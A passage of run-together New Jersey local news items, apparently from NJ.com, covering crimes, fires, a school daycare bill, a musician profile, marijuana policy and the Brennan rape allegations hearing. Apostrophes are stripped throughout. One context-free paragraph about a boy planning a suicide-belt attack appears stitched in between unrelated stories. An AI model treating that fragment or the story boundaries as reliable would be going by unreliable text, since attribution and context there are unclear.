already have the infrastructure in place to support new growth, reduce the need to develop valuable open space, with the added benefit of cleaning up the environment, Klee said in the release. Review of other TSCA-permitted landfills around the country will show that none of them are located in such an inappropriate location, in the middle of town and on a high water table, he said. Further, to say that these poisonous materials are being taken out of the environment makes no sense - they're still going to be right there, next to the high school. State lawmakers this week introduced a proposal to allow local school districts to operate daycare centers in vacant space in an attempt to head off a pending deadline to close such facilities. The action marks the latest salvo in a four-year battle to keep Teddy Bear Academy open in Evesham. Its a childcare service operated by the school district in vacant space in a middle school in the Burlington County town. There are similar programs in Barnegat, Piscataway, Ridgeway and Toms River, a group of legislators who sponsored the bill said. The bill, cosponsored by Assemblyman Joe Howarth and Sen. Dawn Marie Addiego, both 8th district Republicans, follows a ruling from New Jersey Commissioner of Education Lamont Repollet in October that gave the childcare and preschool program for infants and toddlers until June 30 to shut down. Repollets ruling came after an administrative law judge in July sided with Under the Sun, a rival private daycare service in Evesham, that sued the district in 2014. The business claimed the districts daycare operation provided an unfair advantage, hurt their business and exceeded the districts authority to set up such a service on school property. Simply put, we did not agree with the ruling, and we dont believe the state should come in the way of school districts finding creative ways to provide a service by using unoccupied space that they have, Addiego said. School districts are only authorized to offer childcare services before or after regular school hours to school-aged children in the district. The bill would allow a school districts to use their property to provide childcare services during school hours to kids who are younger than school age and also to those who do not live in the district. The Evesham Township School District has seen up to a 20 percent decline in enrollment in recent years and it opened Teddy Bear Academy in an unused wing of Marlton Middle School in 2014. We believe this bill would allow all school districts to provide a service which makes sense to occur in a school building, said John Scavelli, Evesham school superintendent. It also allows school districts with declining enrollment to utilize their buildings efficiently. Teddy Bear Academy is approved to serve up to 90 children aged 6 weeks to 5 years old and is open year-round. Parents pay a fee based on how many children they have in the service and for the length of care. A worker at Under the Sun on Wednesday said a request for comment would not be returned until after the holidays. This is purely constituent-based for me, said Assemblyman Ryan Peters, R-8th, a sponsor of the measure. The support shown for the Teddy Bear Academy since the ruling was momentous. The teachers, children and parents are clearly passionate about the program, and we cant wait for that passion to spring up in other communities. Bill Duhart may be reached at bduhart@njadvancemedia.com. Follow him on Twitter @bduhart. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Pennsauken High School is mourning a teachers assistant after she was hit by a car on Saturday while walking home in Camden. The crash took place around 4:15 p.m. at the intersection of 11th and Newton streets, according to the Camden County Police Department. A pedestrian was struck and taken to Cooper Medical Center in critical condition, and later died, police said. The driver remained at the scene. Police are continuing to investigate the crash and said no charges have been filed as of Wednesday afternoon. She has been identified as 69-year-old Josephine Mozee, of Camden. The school district announced her death in a Facebook post Sunday. As an Educational Assistant, Josephine had been a valued member of the Pennsauken High School staff and will be greatly missed, the statement said. We offer our sincerest condolences to her family, co-workers, and friends, as well as to the countless students that she had helped over the years. A principal at the high school and the Pennsauken Public Schools superintendent did not return calls seeking comment Wednesday. Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook. A man wanted for a killing involving a firearm in Puerto Rico was arrested in Wildwood on Tuesday after a traffic stop, according to police. Officers stopped a 1999 Dodge pickup truck for a violation around 11:30 p.m., according to the Wildwood Police Department. The driver was identified as Joey Sierra, 23, along with his passenger John Roman-Alvarado, 21, both Wildwood residents, police said. Sierra, could not provide officers with a valid license and during the investigation, Roman-Alvarado was found to be wanted in Puerto Rico for a homicide, police said. Police arrested him and charged him as a fugitive from justice. He is being held in the Cape May County Correctional Facility, awaiting extradition to Puerto Rico. Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook. Authorities have charged a Pennsauken man with running a pyramid scheme to support his Gloucester County used car business and with failing to hand over more than $100,000 in sales taxes he collected from the vehicles he sold. Vincent Volpe, 59, was arrested this week after police say he used Freedom Auto Sales, LLC to scheme and cheat numerous investors, victims and the state, according to the Monroe Township Police Department. Police first began receiving calls in August from investors in the business who were fraudulently led to seek out additional investors in return for increased returns contributed by later investors, police said. In all, 26 victims lost about $120,000, police said. Monroe Police and the New Jersey Division of Taxation executed search warrants at the business and Volpes home. A review of the records they seized revealed that Volpe collected more than $100,000 in sales taxes since the business opened in 2016, but he never filed quarterly reports or turned over the money to the state, police said. Volpe was charged with forgery, falsifying or tampering with records, misapplication of entrusted property and property of government or financial institutions, misconduct by a corporate official and theft by deception. He was released pending a February court hearing. Freedom Auto Sales has since closed and the building is now occupied by another used car dealership, police noted. Voples dealer license with the New Jersey Motor Vehicle Commission has been suspended. Anyone who purchased a vehicle from Freedom but has not received a title and/or registration should not contact township police, officials said, but should contact the Gloucester County Division of Consumer Affairs at 856-384-6855 or go online to print and complete a complaint form. They should also contact the New Jersey Division of Motor Vehicles Dealer Out of Business Unit at 609-292-6500, ext. 5064. An Essex County jury has convicted an Irvington man of felony murder and robbery for a fatal 2015 shooting. Carlos McLean, 28, and two others tried to rob Jonathan Vargas Matildes, 27, and another man at gunpoint outside of the Santa Fe Pizzeria and Deli in Irvington around 3 a.m. on Aug. 22, 2015, according to the Essex County Prosecutors Office. Matildes, a Mexican immigrant, struggled with one of the other robbers, then tried to run, officials said. He was shot in the back. While prosecutors argued at trial that McLean was the killer, the defendant claimed one of his co-conspirators shot the victim. The jury acquitted McLean on a murder charge and a charge of robbing Matildes, but convicted him of felony murder and a robbery charge involving the second victim. Carlos McLean, 28, of Irvington. Sentencing is scheduled for Feb. 1, 2019. McLean will face up to life in prison. The two co-conspirators were never identified or charged in the case, the prosecutors office said. Robert Lee Edwards has been imprisoned since late 1987, the year he beat and terrorized a mother and daughter during a Trenton burglary - sexually assaulting the daughter in front of her wheelchair-bound mother. Inmates locked up for decades often find a way to pass the time with a prison hobby. Edwards - who has an aggregate sentence of 60 years - appears to have adopted studying the law as a way to pass his time. The now 52-year-old has filed a number of legal actions, in state and federal court attacking numerous angles of his case, most which are eventually, and often unsurprisingly, dismissed. He has, for example, argued a few times in civil actions that he has new evidence not known by most Americans. U.S. courts, he writes, really dont count because were still owned by Great Britain. On Wednesday, he lost his 11th post-conviction relief appeal, or PCR, a type of appeal aimed at the trial court where his case was heard. In this case, the courts in Mercer County. It was really his 12th denial because Edwards was appealing the denial of a PCR hearing, which he lost last year. And hes lost other appeal actions, too, including a denial to hear his case in the early 1990s from the New Jersey Supreme Court. Even though his eligibility under the law to appeal ran out in 1995 - which was spelled out in a 2009 appeal - Edwards keeps filing them with different arguments, records show. In the most recent appeal, he argued that case law from a 2003 decision allows him to withdraw his guilty plea because he was unaware of the possibility of being civilly commitment under the states Sexually Violent Predator Act - which allows the state to confine certain sexual predators beyond their criminal sentence. The appeals court noted that the 2003 case was decided 13 years after Edwards pleaded guilty and 14 years before he filed his 11th PCR petition. Unfortunately, by the time Edwards used that argument in an appeal, he had already exhausted the number of appeals he could file. Edwards, who is being held at the states Adult Diagnostic and Treatment Center, a secure facility for sex offenders in Woodbridge, has a 60-year total sentence for his kidnapping, sexual assault and burglary convictions, and his freedom ultimately hinges on the state parole board. He will next be eligible for parole in August 2020. Kevin Shea may be reached at kshea@njadvancemedia.com. Follow him on Twitter@kevintshea. Find NJ.com on Facebook. New Jersey residents continue to be burdened by local property taxes, which keep getting higher to make up for the mistakes of past gubernatorial administrations. This is extremely unfair, and it's a deterrent to people who are looking at moving to the state. Many young professionals are leaving New Jersey, beginning their careers, settling down and raising their families elsewhere. State Senate President Stephen Sweeney knows that this state is too expensive, and he is drawing attention to the problem while calling for sweeping changes to actually fix things. A panel that Sweeney appointed has released the "Path to Progress" report, which offers recommendations by policy experts who identified means of addressing the state's most serious issues. The recommendations include consolidating many of the nearly 600 school districts, and increasing shared services between and among county and local governments. Another move is a call to overhaul New Jersey's tax structure, partly in response to federal income tax changes that now limit the amount that taxpayers can deduct in state and local taxes (SALT). The report states that $28.8 billion in property taxes were collected in fiscal 2017, which is twice the $14.4 billion collected in state income taxes, and three times the $9.4 billion collected in state sales taxes. That puts into perspective just how out of control property taxes are -- and it's not acceptable. Sweeney is right about this: We just can't afford to just carry on in the same way. He's pushing for big changes, because that's the only way we'll ever see anything improve. Anyone who wants to see New Jersey become more affordable should support him on this. Michael Sauter Jr., Turnersville Send a letter to the editor of South Jersey Times at sjletters@njadvancemedia.com Police saw a group of men acting suspiciously and it turned out there was a good reason why. The eight men, all from Jersey City and ranging in age from 19 to 35 were arrested and three guns were recovered on Grant Avenue in Jersey City between Bergen Avenue and Martin Luther King Drive on Dec. 11, Jersey City spokeswoman Ashley Manz said. Dayvon Williams, 23, was charged with multiple weapons and drug offenses, including unlawful possession of a handgun and possession with intent to distribute drugs, and resisting arrest, Manz said. Abdulalim Hardy, 25, and Quentin Jackson, 26, were charged with weapons offenses, while Jalil Holmes, 19, and Daiquan Givins, 23, were charged with wandering to commit drug offenses, Jakeem D Gibson-Madison, 24, Tyreek Eason, 35, and David McCord, 22, were charged with multiple drug offenses. Police on patrol on Dec. 11 saw the eight men acting suspiciously, Manz said. When they approached the group, one of the officers saw one of the men place a handgun on the front steps of a building, while another from the group approached an officer with a handgun protruding from his pocket. Manz said. A third man ignored the officers' commands to stop, and fled on Grant Avenue, Manz said. After a short chase the man man was arrested and a third gun was recovered. JERSEY CITY Hearts were heavy Wednesday when at least 100 people filled St. Johns Baptist Church on Bramhall Avenue for the funeral of four siblings killed in a South Carolina car crash this month. Mourners passed tissues to one another as they listened to words of faith, comfort and hope. Loved ones leaned on each other as they tightly gripped hands. Moments of silence were filled with uncontrollable sobs and sniffles. I lost my whole world, Jackie Brown, the mother of the four children, told The Jersey Journal after the funeral. But Ive got to be strong because they made me who I am today. Brown, formerly of Jersey City, moved to South Carolina several years ago and was raising her four children there. Their names were Arnez Yaron Jamison Jr., 4, Robbiana Evans, 6, Jamire Halley, 8, and Armani Jamison, 2 During the emotional ceremony, the grieving mother leaned over her four children and kissed them. Its like my heart was ripped out of my chest, Brown said. Many broke down in tears during Wednesdays service as they viewed the childrens bodies in white caskets, which were decorated with the childrens nicknames and favorite cartoon characters, the Minions. Each casket was highlighted with its own set of Minion-shaped balloons. Nobody knows the pain of losing four kids like that, said Dena Allen, Browns aunt. There are no words its indescribable, adding that the tragedy shows tomorrow is not guaranteed to anybody. In the aftermath of the Dec. 7 crash, authorities arrested Arnez Yaron Jamison the 27-year-old father of two of the children and charged him with four counts of felony DUI resulting in death and other offenses, according to The Greenville News. Authorities allege Jamison was behind the wheel of the car when it crashed in Travelers Rest, South Carolina. The religious service offered faithful words of comfort to those who gathered to mourn the children. You cant have a real Christmas without Christ. So they went home, pastor Roderick Allen said. But for Brown, the prospect of her first Christmas without her four angels" now looms. Its hard to cope when you lost everything you have," she said. "Its never going to be the same without them. But Im trying to stay so focused and positive for them. The boy responds that he would put the suicide belt under his shirt, walk outside waving his arms and tell the American Forces that he was an American who needed help. He would then provide his name to draw them closer, as as they did, he would detonate the suicide belt and go to heaven as a martyr, the response states. It looks like one Jersey Citys man luck has run out. James B. Callahan, who made headlines when he won the Jersey Cash 5 prizes totalling nearly $700,000 twice in a one-year span, has been charged with running a drug-dealing operation out of his $1 million Downtown Jersey City condo unit. And police say he had the firepower to defend it. The 53-year-old was walloped with 37 charges, including multiple counts of illegal guns; and Cindy Sanchez-Medina, Callahans 22-year-old live-in girlfriend, was charged with seven drug offenses after cocaine, marijuana and prescription drugs were found in the home at 77 Hudson St., a pricey high-rise on the waterfront where condos sell for as much as $3 million and rent for as much as $5,000. Narcotics can be anywhere, said Jersey City Public Safety Director James Shea. Callahan won $613,104 on Nov. 27, 2015 and then another $75,854 on Nov. 7, 2016. He was featured in newspapers and local television news broadcasts. His arrest started with a traffic stop at Sussex and Greene streets at 7:15 p.m. on Dec. 16, according to Jersey City police and criminal complaints. Authorities say that police stopped Callahan in his Jeep Wrangler because it had one license plate. By the time their investigation was through, police had seized nearly 350 prescription drug pills, a bulletproof vest, a magazine with ammunition and at least two weapons -- an assault firearm and a handgun -- from the SUV, the criminal complaint said. That arrest led police to Callahans high-rise unit the following day, where they found Sanchez-Medina and 85 grams of cocaine, three marijuana cigarettes and 14 prescription drug pills, police and the criminal complaint said. The also found paperwork for a storage unit on Grand Street, leading to more evidence of Callahans drug-dealing operation. This is exactly what Chief (Mike) Kelly has been instituting in the police department, Shea said. The street crimes unit doesnt go on radio calls. ... You see the fruits of that here. During a search of the storage unit on Dec. 18, Jersey City police, with support from Hudson County Sheriffs officers and Hudson County Prosecutors Office members, recovered three guns. Police also recovered two silencers, more than 200 hollow-point bullets and multiple large-capacity magazines, which are illegal in New Jersey. Police said they seized six guns in all: a Glock 19 9mm handgun, the Walther PPK .22 handgun, a Tactical Solutions .22-caliber rifle, a modified LRWC International M6A2 carbine 5.56 mm assault firearm, the Smith and Wesson .22-caliber revolver and the spring-loaded zip gun, which is a hand-made gun. None of the guns were registered, police said. Callahans detention hearing was scheduled for Thursday afternoon and he waived his right to be there. His attorney, Howard Brownstein, did not return a call for comment. A resident on the 39th floor of 77 Hudson said she wasnt aware of the arrest and was shocked to hear about it. Im really scared, she said, noting that she has a child. Another resident said the arrest are unsettling, adding that she hasnt received information from the building management about the incident. Its bizarre, she said. A man who identified himself as the building supervisor refused to comment on Thursday after escorting a Jersey Journal reporter off the premises. Jersey Journal Staff Writer Aya Elamroussi contributed to this report. Bryan Beninghove has long been one of the busiest working musicians in Jersey City, but he'll be kicking it up a notch on Friday, Dec. 21, with this third annual Christmas Spectacular at the Fox & Crow. Although originally from suburban Maryland, the talented saxophonist and multi-instrumentalist has been a fixture on the local music scene for nearly 20 years. "I've been playing sax and piano and a couple of other instruments for a while, and I've always had my own bands, and play with a bunch of other people," Beninghove said modestly. He plays soprano, alto, tenor, and baritone sax, the melodica, piano, and pretty much whatever else people need. "I really don't consider myself much of a flute player," he said, "but I'm on about a dozen albums playing flute." He's constantly in demand as a session man, and he's often seen performing locally at area events (most recently at Hoboken's Holiday Banding concert). But that's only a part of Beninghove's schedule. He's also the executive director of RiverviewJazz.org, a non-profit that puts professional musicians to work playing for the community. You'll find him several times a week performing with Manouche Bag, his gypsy-jazz ensemble, at Madame Claude Bis, as well as fronting Beninghove's Hangmen. The goodwill Beninghove engenders every year by participating in so many projects bears fruit every year at his Christmas Spectacular. "I've got a killing house band, and a bunch of really talented guests, some of which will even surprise me," he said. "We do a lot of quirkier Christmas songs, some things you won't hear on the radio all the time. We get a little off the beaten path as far as Christmas music goes, but some of it is straight down the middle, and everyone really brings their A game. It's at a really high quality talent level." The Parlour at the Fox & Crow only fits a few dozen people, which makes the Christmas Spectacular especially crazy. "We really pack them in and everyone comes for a good time," Beninghove said. "There's a little bit of climbing over one another to get to the stage sometimes, but it really is a lot of fun. It's very much like Holiday Banding, just a different crew and a different venue. But you'll see some of the same faces, too. Tom (Vincent) always comes up and does a song with me, and Julio (Fernandez) will be in town this year and he'll do something. Sean Kieley comes up, and a few people from my other projects play, and it's just a blast. And it's a good excuse to write a few new Christmas songs every year." The rest of the year, you'll find Beninghove performing at Madame Claude Bis (in the White Eagle Hall building) every Tuesday and Thursday with Manouche Bag. "The music is a cross between Django Reinhardt and Serge Gainsbourg," Beninghove said. "It makes you feel like you're in a Woody Allen movie. I can't tell you how many thousands of gigs I've done, and this is the one gig where it is absolutely the right band for the right venue, the right music with the right atmosphere and food and everything. That's why it's gone on for 10 years, and hopefully we'll be there for another 10." The band Beninghove's Hangmen, by contrast, "is more like music for a Tarantino movie," Beninghove said. "It's kind of a mix between surf music, a little Charles Mingus, that wild, rollicking jazz, and yet a little film noir at the same time. We call it surf noir." But the project closest to Beninghove's heart has to be RiverviewJazz.org, which he founded and runs. "Last year we did over a hundred events free for the community," he said. "This will be our seventh year. We do some outreach gigs, where we're performing at the senior centers. We try to bring music to the people who need to hear it. The non-profit's pitch is that there are so many amazing musicians around here who aren't playing around here. There are so many people who don't understand what jazz really is, or they have a pre-conceived notion of what it is. Yet jazz is such a wide thing. It covers a lot of different sounds. So what we're trying to do is go to non-traditional spaces and make music easy for people to hear." Every year, Riverview Jazz.org hosts a jazz festival and Beninghove can't wait for the 2019 rendition. "One of the things we try to do is put a shine on the places that are working hard to bring music to people year round and we do that with our jazz festival," Beninghove said. "This year we're going to be called the Jersey City Jazz Festival, and it will be a 10-day event from May 31 to June 9. All of the events in the festival will culminate with a big concert at Newark Pedestrian Plaza, where we'll have three stages. We'll have White Eagle Hall involved and a lot of other great partners, and we'll be holding events in every ward of Jersey City. It's going to be a great event, and we've more than doubled the budget from last year." If you go ... The Bryan Beninghove Christmas Spectacular III will take place at the Fox & Crow's Parlour Room, 594 Palisade Ave., Jersey City, on Friday, Dec. 21, from 9 p.m. to midnight. Admission is free. Even though his longstanding plans to legalize recreational marijuana in New Jersey are still in limbo, Gov. Phil Murphy said Wednesday hes not worried about a possible upcoming push to bring legal weed to neighboring New York. But Murphy did not provide a new timeline for when New Jersey could finally enact a legalization law. New York Gov. Andrew Cuomo said Monday legalizing pot in his state was among his top policy initiatives as he enters his third term. The Democrat called for legalization within the first 100 days of the term. That begged the question: Could New York get there before New Jersey? Insiders told NJ Advance Media this week its not likely. On Wednesday, Murphy said he isnt concerned. I wish him well, the rookie governor said at a new conference after delivering a speech at St. James AME Church in Newark. What New York does has no bearing on what we do in New Jersey. Our job is to do it right. Murphy campaigned last year partly on a promise to bring legal pot to New Jersey in his first year in office. But the governor needs the state Legislature to pass a bill before he can sign it. And disagreements have held up the measure, causing the issue to spill into 2019. Murphy met with Democratic leaders of the Legislature last Thursday to discuss that bill and more. Both sides said the sit-down was positive, even though Murphy and top Democratic lawmakers have sometimes clashed. Were not there yet, Murphy said Wednesday of the weed bill. I hope we can get to common ground sooner than later. So when will the measure pass? I dont have a timeframe, Murphy said. I hope sooner than later. Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01. Find NJ.com Politics on Facebook. Carol Russell will not be the first female to lead the Trenton Police Department. Trenton Mayor Reed Gusciora withdrew her nomination Wednesday evening, a day after the City Council declined to vote on her confirmation - with the mayor in attendance. Gusciora said it just became apparent to him that the council was not going to confirm Russell, and the body had prejudged her. The confirmation process, known as advice and consent, is for reviewing her candidacy, Gusciora said, and the council, Chose not to do that. The city, and police department, needs to move forward, the mayor said. Police Lt. Chris Doyle will serve as acting director again while the mayors administration conducts a regional search for a new nominee. The mayor nominated Russell, a retired, 20-year Trenton police officer in October. Russell had been showing up to work as the acting director, but support for her nomination had plummeted drastically in the past two weeks, following an earlier appearance before council two weeks ago in which she was grilled by the panel. At-large Councilman Jerell Blakeley, who initially supported Russell, posted a statement last week that said Russell, upon further review of her qualifications, doesnt measure up. She has no college degree, and is light in the management category, he said. Blakeley was comparing Russell to Guscioras pick for fire director, Derrick Sawyer, a retired Philadelphia fire chief who has three degrees in fire safety and public administration, and directed a budget that was larger than the City of Trentons entire municipal budget. He sailed through his confirmation. And Council President Kathy McBride publicly called on the mayor to send the council, properly vetted and qualified candidates. Moreover, West Ward Councilwoman Robin Vaughn, said in a Facebook post this past weekend: Mayor Reed Gusciora, the job of Police Director is the most important job in any urban city. Period. The job should be taken seriously. Despite the setbacks, and rumors of her possibly stepping down herself, Gusciora last week continued to support her as director, and said that Russell said she wanted to make her case to the council. The mayor touted Russell as an ideal candidate -- someone whos engaged in community policing and who lives in the city, and who could shake things up in the department. The damage appears to have been done, though, when the council Tuesday night did not vote on her, despite Guscioras appearance at the meeting. Kevin Shea may be reached at kshea@njadvancemedia.com. Follow him on Twitter@kevintshea. Find NJ.com on Facebook. UPDATE: Manhunt on for masked robber who gunned down store clerk at N.J. gas station A clerk at an Edison gas station convenience store was shot to death during a robbery early Thursday, authorities said. Middlesex County Prosecutor Andrew Carey told NBC New York during an interview in front of the Speedway on Amboy Avenue that his office was investigating the incident as a robbery-homicide. The shooter fled after gunning down the worker around 4 a.m. BREAKING- A gas station clerk is dead and a suspect on the run after an early AM robbery in Edison, NJ. Were LIVE with details @NBCNewYork #nbc4ny pic.twitter.com/Ba6O7OJtdS Tracie Strahan (@tstrahan4NY) December 20, 2018 Carey gave few details, saying officials would release a description when one is available. The identity of the worker will be released when family is notified. The gas station at the corner of Amboy Avenue and Woodbridge Avenue remains closed as investigators are still there. My thoughts and prayers, and those of the Edison community, are with the victims family, said Edison mayor Thomas Lankey said in a statement. I have confidence in our police departments investigative capabilities working alongside county prosecutors detectives to find and bring the perpetrator of this heinous crime to justice. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. A sport utility vehicle crashed through the front of a South Brunswick church on Wednesday afternoon. There were no reported injuries from the accident at Life Church on Route 130 around 4:30 p.m., according to police. The church is located in an office building. Driver mistakenly hits gas pedal instead of brake as she goes to pickup child from daycare. Car crashes into the church next door," South Brunswick police said on Twitter. One person inside the church narrowly escaped injury. The vehicle drove into a large floor-to-ceiling window after it apparently mounted a curb and traveled a short distance over a dirt area near the parking lot. Town officials were called to check the building for any structural issues. The damage appeared to mostly involve broken glass. Noah Cohen may be reached at ncohen@njadvancemedia.com. Follow him on Twitter @noahyc. Find NJ.com on Facebook. Firefighters spent hours Thursday battling a three-alarm blaze at a construction company in Morris County. Everyone is fine. There are no injuries, said an employee who answered the phone after the blaze was contained at the William J. Harrington and Sons, Inc. in Chester Township. The fire broke out in a building on the property in the late morning at the site at 50 Parker Road. It sent a huge column of thick, black smoke billowing into the sky. CHESTER TOWNSHIP, NJ (Morris County) - Firefighters on scene of a 3-alarm fire at 50 Parker Rd. Keep with RNJ on this developing story. @wrnjradio pic.twitter.com/ZmOcni99R8 Jay Edwards (@JayEdwardsWrnj) December 20, 2018 The cause and extent of damage to the property wasnt immediately known. Founded in 1958, Harrington is a provider of construction and landscape services. A large section of Parker Road was closed off for the blaze, which drew firefighters from around the area. A Chester Township police dispatcher said information would be available later Thursday. Fire officials were not immediately available to comment. A day after the second public hearing on how his team handled Katie Brennans rape allegations against a former top administration official, Gov. Phil Murphy on Wednesday said he still has no reason to believe his staffers broke policy in how they responded. Speaking during a news conference in Newark, Murphy said he didnt watch minute to minute on Tuesday as three of his top aides testified before a special legislative committee investigating the issue. But the governor repeated what hes said in recent weeks: I have no reason to believe that folks operated in any other way but out of respect for their obligations both ethically, legally to confidentiality. Brennan alleges that Albert J. Alvarez raped her after a Murphy campaign event last year when she was a Murphy supporter and he was a campaign official. Alvarez was never charged. But Brennan, now chief of staff of the New Jersey Housing and Mortgage Finance Authority, said she reached out three times to Murphys team over the last year about the allegations. Despite that, Alvarez was hired as chief of staff of the New Jersey Schools Development Authority and didnt resign until October, when the Wall Street Journal contacted him about Brennans accusations. Brennan testified earlier this month she believes Murphys team didnt act until it could hurt the governor politically. Pete Cammarano, Murphys chief of staff, testified Tuesday that he personally told Alvarez in March to leave state government. And Charlie McKenna, the former CEO of the Schools Development Authority, said he was told by Murphys chief counsel, Matt Platkin, to tell Alvarez the same thing in June, though he was not told specifically about the allegations. But Alvarez was never fired. And he didnt leave for months. Its something I look back on and try to figure out, Why did that happen?" Cammarano told lawmakers on Tuesday. "And I dont have an answer to it. Murphy insists he didnt know about Brennans allegations until Oct. 2, when Alvarez stepped down. Cammarano echoed that Tuesday. He said he and other Murphy aides kept the governor out of the loop on the advice of lawyers who said they needed to respect the complicated confidentiality concerns that surround a sexual assault case involving two state employees. But, Cammarano said, there are times I wish I told the governor." Under state Equal Employment Opportunity regulations, all discrimination complaints must be kept confidential extent practical and appropriate under the circumstances. Still, the rules say, it may be deemed necessary to discuss such complaints with those who have a legitimate need to know about the matter. Murphy said he didnt know about Brennans accusations even after she sent the governor and his wife an email in June asking them to discuss a sensitive matter." She didnt specify what the matter was. Murphy passed the info along to staffers, as he said is common. I had no idea what she was talking about, Murphy said Wednesday. He said he forwarded the matter to Platkin, his chief counsel, and his chief campaign counsel. Murphy said he was reminded by Platkin that we have professionals and policies that are in place that deal with folks, whether its good, bad or ugly. The governor did not answer Wednesday when a reporter asked him if whether he wished his staff had told him about Brennans accusations. Murphy did say the gap in communication among he and his staffers is a main part of the reason he launched a separate internal investigation into Alvarezs hiring and a review of how to improve the states policies for how to handle sexual assault allegations. The internal review, led by former state Supreme Court Justice Peter Verniero, will come out hopefully sooner than later, Murphy said Wednesday. He added that the matter does run into serious questions we have to grapple with. Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01. Find NJ.com Politics on Facebook. An intense fire tore through a two-story beachfront house in Lavallette late Wednesday, destroying the structure and damaging three others before firefighters could bring the blaze under control. The two-alarm fire began about 11:45 p.m. in the house on Newark Avenue , according to Capt. Frank Stanislaski of the Ocean Beach Volunteer Fire Company. It took about an hour to bring the most intense part of the fire under control, Stanislaski said. No injuries were reported. Crews from several fire companies worked for more than three hours to bring the fire completely under control, fire officials said. Three structures near the home were also damaged. The cause of the blaze is under investigation, fire officials said. Posted by Joe Valerie on Wednesday, December 19, 2018 Anthony G. Attrino may be reached at tattrino@njadvancemedia.com. Follow him on Twitter @TonyAttrino. Find NJ.com on Facebook. A man who dated Jersey Shore cast member Jenni Farley more than 10 years ago tried to extort $25,000 from her, authorities said. Thomas Lippolis contacted JWowws publicist and threatened to divulge secrets about her to the media, Toms River police said in a statement Wednesday afternoon. The publicist told Farley about the threat and she notified cops on Monday. Toms River police arrested Thomas Lippolis Wednesday and charged him with third-degree extortion. Lippolis, 32, of Hazlet, and Farley dated for nearly a year a decade ago, police said. Its been a tough December for JWoww. Last week, Farley, 32, got a temporary restraining order against her husband Roger Matthews after the two got into a verbal altercation in their Toms River home. She filed for divorce in September. Meanwhile, this weeks run-in with Lippolis isnt her first with her ex, who also worked as her manager for a time. On a 2011 episode of Jersey Shore, Farley accused Lippolis of abusing her. That same year, a judge issued an order that stopped Lippolis from releasing nude photos he took of Farley without her permission while she was under the effects of pre-surgical and post-surgical anesthesia the previous year. Lippolis had argued that Farley knew about the photos and that releasing them wouldnt harm her reputation because she claimed previously she was interested in posing for Playboy. Lippolis also accused Farley of stabbing him in the arm with a kitchen knife in 2010. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. AAA is predicting that the largest number of travelers by far -- about 102 million -- will be getting to their destination by car. As a result, INRIX a global mobility analytics company, predicts some of the most congested cities in the U.S., including Chicago, could see travel times double, or even quadruple, during peak days and hours. Till Tuesday I thought it was Donald Trump who had the most bungled transition in history. It turns out it was Phil Murphy. We learned that at a legislative hearing Tuesday into the allegations of rape leveled against one of his ex-staffers by one of his current staffers. The current staffer is Katie Brennan of the Housing and Mortgage Finance Authority. In October, the Wall Street Journal published her allegations that she had been raped during the 2017 gubernatorial campaign by Al Alvarez, who was at the time the campaigns Hispanic/Latino outreach director. That article prompted Alvarez to resign his $140,000-a-year job as deputy chief of staff for the Schools Development Authority. But why did he get that job in the first place? That was the topic of the day and it wasnt a good day for Murphy. Instead of producing answers, the hearing just produced more questions for the committee as it continues into next year. The first big question came in the testimony of Justin Braz, the deputy chief for legislative affairs who is a good friend of Brennan. Braz testified that Brennan called him on the night of the alleged assault in April of last year. He met with her the next day and she appeared distraught, he said. He said he believed her account that she had been sexually assaulted by Alvarez after she let him into her apartment on the pretext that he had to use the bathroom. Braz said that after talking with him and another friend, Brennan went to the police and filed charges that were taken up by the Hudson County Prosecutors Office. Did the prosecutors office contact him to try and verify Brennans account? When state Sen. Loretta Weinberg, asked that question, Braz answered with a simple no. Weinberg later told me she found that surprising. If you were investigating, wouldnt you call the first person on the scene she talked to? the Bergen Democrat told me after the hearing. Instead the prosecutor let the case drag on until after Murphy won the election in November. Murphy then named Alvarez deputy director for personnel on his transition team. Braz said Brennan then asked him to tell key members of the transition that Alvarez might be arrested on charges of sexual assault. Braz said he did so, but he withheld the name of the victim at her request. So how did it happen that within a couple of hours Brennan got a call from the Hudson County Prosecutors Office to tell her the case was being dropped? Weinberg also found that surprising. But it was what happened next that really had the members of the bipartisan committee scratching their heads. Instead of quietly kicking Alvarez off the transition team, Murphys minions simply limited his power to oversee hiring. I think its an inconsistency when you have someone whose title is to hire people and then theyre barred from hiring, said Assemblywoman Eliana Pintor Marin, a Democratic from Newark who co-chairs the committee with Weinberg. Worse, if you cant trust a guy to hire people, why would you hire him? Nonetheless, in January Murphy gave Alvarez that job at the SDA. Also in January, Murphys wife Tammy gave a speech to a rally in Morristown at which she described fighting off an attacker who dragged her into the bushes when she was a student at the University of Virginia. Why didnt Murphys staffers give the governor a heads-up that he was going to hire someone accused of the conduct central to the me-too movement? That question was asked of Charles McKenna, a Christie administration holdover who was Alvarezs boss at the SDA. McKenna answered that there was a certain bright line with Chris Christie during the many years he worked for him in various roles. With the governor I worked for, with something like this, if I didnt tell him, I would still be feeling the pain today, said McKenna. McKenna described how he was told in March by Murphys counsel, Matt Platkin, that Alvarez had to go, but not when or why. Alvarez was still on the payroll in August when McKenna was replaced by a Murphy appointee. Murphys chief of staff, Pete Cammarano, also testified that he had told Alvarez he must resign, but he didnt follow through. Nor did he tell Murphy about the allegations. That was on the advice of Platkin, who told him the matter was confidential, he said. Asked about that yesterday, Murphy replied, I have no reason to believe that folks operated in any way other than out of respect for their obligations, both ethically and legally, to confidentiality. Theres a fine line between confidentiality and a cover-up. And Murphys people were on the wrong side of it. Paul Mulshine may be reached at pmulshine@starledger.com. Follow him on Twitter @Mulshine. Find NJ.com Opinion on Facebook Gov. Phil Murphy signed a law Thursday to overhaul management and oversight at NJ Transit for the first time in its 40-year history, aiming to make the states troubled rail and bus system more accountable to the nearly 1 million New Jerseyans who use it daily. But Murphy also said its too early to tell if fare hikes will happen after June 30 to help fund the agency. He previously promised no increases until that date. The law (S630) supported by Democrats and Republicans is the result of two years of hearings on the problems surrounding NJ Transit in the wake of a 2016 train crash in Hoboken that killed a woman and injured more than 100 people. It marks the first time since NJ 